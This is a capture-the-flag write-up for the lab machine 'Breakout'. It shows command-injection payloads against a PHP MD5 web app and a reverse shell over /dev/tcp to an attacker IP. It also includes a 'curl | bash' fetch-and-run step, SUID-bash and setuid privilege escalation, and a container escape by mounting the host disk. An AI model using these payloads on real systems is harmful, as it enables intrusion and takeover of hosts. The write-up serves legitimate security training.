[Write-Up] HackingClub: Breakout
Table of Contents
Recon #
Nmap #
Nmap execution on the host shows an Apache web server running on port 80. We found there’s a web application that generates MD5 hashes running on that port.
┌──(kali㉿kali)-[~]
└─$ nmap -sV breakout.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 07:37 -0400
Nmap scan report for breakout.hc (172.16.15.115)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.48 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.21 seconds
Stack #
- Server: Apache HTTP Server 2.4.48
- Server OS: Debian
- Language: PHP 7.4.24
Vulnerabilities #
Blind Command Injection on MD5 Hashing App #
On the web app we have an interface that generates MD5 hashes given a string:
We notice that when we give a string, it properly returns a MD5 hash. If we input single characters, we also properly get a MD5 hash. After test we try inputting some bash special characters ' " & | we notice that no MD5 hash is generated, which may indicate some form of command injection.
Testing other payloads, we have the results shown below:
& ls - Hash MD5: 9fd6c82583f8f8c463250b7fea59fe02 -
& ls - Hash MD5: 9fd6c82583f8f8c463250b7fea59fe02 -
&& ls - Hash MD5: 9fd6c82583f8f8c463250b7fea59fe02 -
&& ls - Hash MD5: 9fd6c82583f8f8c463250b7fea59fe02 -
' & ls - Hash MD5:
" & ls - Hash MD5:
It appears that we have a successful injection, but we can’t see the output, so it’s a blind command injection.
Command Injection on MD5 Hashing App #
After some more testing, one can find out that the blind command injection can be made into a simple command injection, showing the output on the machine itself, by string one more command together, like the payload below:
& ls / & ls - Hash MD5: bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp user.txt usr var 9fd6c82583f8f8c463250b7fea59fe02 -
& ls & ls / - Hash MD5: d203e4e8d8ce2db4f3c17f67f9a3903f - background.jpg index.php
Notice that the command which results are brought back is the middle command.
Exploitation #
So we test sending a request to a web server we control with the following payload:
& curl http://10.0.9.28:8000 - Hash MD5: f14da72b3a4a11c195f5b02a6181868d -
On our server we get a connection:
┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.16.15.115 - - [08/Oct/2026 07:53:32] "GET / HTTP/1.1" 200 -
From this we can get an initial shell, create a file for a bash-reverse-shell.sh:
/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4444 0>&1'
Then we run the command injection payload, which will grant us an initial shell on the server and the first flag:
& curl http://10.0.9.28:8000/bash-reverse-shell.sh | bash
----
┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.15.115] 55300
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ whoami
whoami
www-data
bash-5.1$ cat /user.txt
cat /user.txt
CS{REDACTED}
Privilege Escalation #
Before anything, improve the shell to get a better and more stable shell using Python3:
python3 -c 'import pty; pty.spawn("/bin/bash")'
### Send shell to background (Ctrl+Z)
stty -a | grep -E "rows|columns"
stty raw -echo; fg ### Pull shell from background
export TERM=xterm-256color
stty rows Y columns X
Then, run a Linux recon script to get information on the system, some highlights are: the application is running inside a docker container, the binary /bin/bash has the SUID bit set. Using /bin/bash we can get container root.
bash-5.1$ curl http://10.0.9.28:8000/linrecon.sh | bash
[+] Current user: www-data
User id: uid=33(www-data) gid=33(www-data) groups=33(www-data)
User groups: www-data
=== SYSTEM INFORMATION ===
[+] Hostname: 172.17.0.2
[+] Kernel Version: Linux version 5.4.0-1045-aws (buildd@lgw01-amd64-003) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021
[+] Linux Distro: Debian GNU/Linux 11
---------
(...)
=== MACHINE STATE ===
+] SUID files
/bin/bash # Very easy to exploit
/bin/su
/bin/umount
/bin/mount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
---------
=== CONTAINER RECON
12:hugetlb:/docker/5f8640852846b7da12a54492b6583f9785846c43ccfce76158e673b5df991494
(...)
1:name=systemd:/docker/5f8640852846b7da12a54492b6583f9785846c43ccfce76158e673b5df991494
0::/system.slice/containerd.service
/.dockerenv
After we achieve root inside the container we notice that the uid for that user is still 33, the uid for www-data. So we use a Python script to set the uid to 0 (root).
bash-5.1# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-5.1# python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
bash-5.1# id
uid=0(root) gid=33(www-data) groups=33(www-data)
Since we are running on a container, check what permission the user has on disks on this system running fdisk and lsblk:
bash-5.1# fdisk -l
Disk /dev/loop0: 40.84 MiB, 42827776 bytes, 83648 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop1: 55.51 MiB, 58204160 bytes, 113680 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop2: 33.34 MiB, 34959360 bytes, 68280 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop3: 55.66 MiB, 58363904 bytes, 113992 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop4: 24.98 MiB, 26189824 bytes, 51152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/nvme0n1: 8 GiB, 8589934592 bytes, 16777216 sectors
Disk model: Amazon Elastic Block Store
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: dos
Disk identifier: 0x22d9287c
Device Boot Start End Sectors Size Id Type
/dev/nvme0n1p1 * 2048 16777182 16775135 8G 83 Linux
bash-5.1# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 40.8M 1 loop
loop1 7:1 0 55.5M 1 loop
loop2 7:2 0 33.3M 1 loop
loop3 7:3 0 55.7M 1 loop
loop4 7:4 0 25M 1 loop
nvme0n1 259:0 0 8G 0 disk
└─nvme0n1p1 259:1 0 8G 0 part /etc/hosts
Notice that there’s a device nvme0n1p1 , which is not mounted, which may be the host machine file system, one can try mounting it with mount command. It successfully mounts, and checking it we find the root flag:
bash-5.1# mount /dev/nvme0n1p1 /mnt
bash-5.1# ls /mnt
bin dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old
boot etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuz
bash-5.1# cat /mnt/root/root.txt
CS{REDACTED}
Flags #
- User (blind command injection RCE):
CS{REDACTED} - Root (SUID bash + EBS volume mount):
CS{REDACTED}